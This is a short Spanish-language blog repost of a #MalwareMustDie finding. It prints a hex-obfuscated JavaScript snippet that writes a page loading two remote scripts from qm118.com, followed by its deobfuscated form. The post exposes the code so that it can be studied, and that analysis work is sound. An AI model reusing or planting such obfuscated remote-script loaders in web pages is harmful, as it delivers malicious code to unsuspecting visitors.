viernes, 2 de noviembre de 2012

Camino ala difurcacion

Saludos Mundo Libre.

Me he encontrado con este articulo :

Camino ala difurcacion.

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x21\x44\x4f\x43\x54\x59\x50\x45 \x68\x74\x6d\x6c \x50\x55\x42\x4c\x49\x43 \"\x2d\/\/\x57\x33\x43\/\/\x44\x54\x44 \x58\x48\x54\x4d\x4c \x31\x2e\x30 \x54\x72\x61\x6e\x73\x69\x74\x69\x6f\x6e\x61\x6c\/\/\x45\x4e\" \"\x68\x74\x74\x70\x3a\/\/\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\/\x54\x52\/\x78\x68\x74\x6d\x6c\x31\/\x44\x54\x44\/\x78\x68\x74\x6d\x6c\x31\x2d\x74\x72\x61\x6e\x73\x69\x74\x69\x6f\x6e\x61\x6c\x2e\x64\x74\x64\"\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x68\x74\x6d\x6c \x78\x6d\x6c\x6e\x73\x3d\"\x68\x74\x74\x70\x3a\/\/\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\/\x31\x39\x39\x39\/\x78\x68\x74\x6d\x6c\"\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x68\x65\x61\x64\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x6d\x65\x74\x61 \x68\x74\x74\x70\x2d\x65\x71\x75\x69\x76\x3d\"\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\" \x63\x6f\x6e\x74\x65\x6e\x74\x3d\"\x74\x65\x78\x74\/\x68\x74\x6d\x6c\x3b \x63\x68\x61\x72\x73\x65\x74\x3d\x67\x62\x32\x33\x31\x32\" \/\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\/\x68\x65\x61\x64\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x62\x6f\x64\x79\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\"\x74\x65\x78\x74\/\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\" \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3a\/\/\x77\x77\x77\x2e\x71\x6d\x31\x31\x38\x2e\x63\x6f\x6d\/\x6a\x73\/\x69\x70\x74\x7a\x2e\x6a\x73\"\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\"\x74\x65\x78\x74\/\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\" \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3a\/\/\x77\x77\x77\x2e\x71\x6d\x31\x31\x38\x2e\x63\x6f\x6d\/\x6a\x73\/\x6c\x6c\x6a\x63\x2e\x6a\x73\"\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\/\x62\x6f\x64\x79\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\/\x68\x74\x6d\x6c\x3e")


Deobfuscated:
 <! DOCTYPEhtmlPUBLIC"-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > 
 < htmlxmlns = "http://www.w3.org/1999/xhtml" > 
 < head > 
 < metahttp - equiv = "Content-Type"content = "text/html; charset=gb2312" /> 
 </ head > 
 < body > 
 < scripttype = "text/javascript"src = "http://www.qm118.com/js/iptz.js" ></ script > 
 < scripttype = "text/javascript"src = "http://www.qm118.com/js/lljc.js" ></ script > 
 </ body > 
 </ html > 

Author D.L 
twitter.com/it4sec
#MalwareMustDie
 
 Fuente:http://r00tsec.blogspot.mx/
 
Codigo: http://pastebin.com/raw.php?i=eJdSxTPB
 
Saludos Mundo Libre. 

No hay comentarios:

Publicar un comentario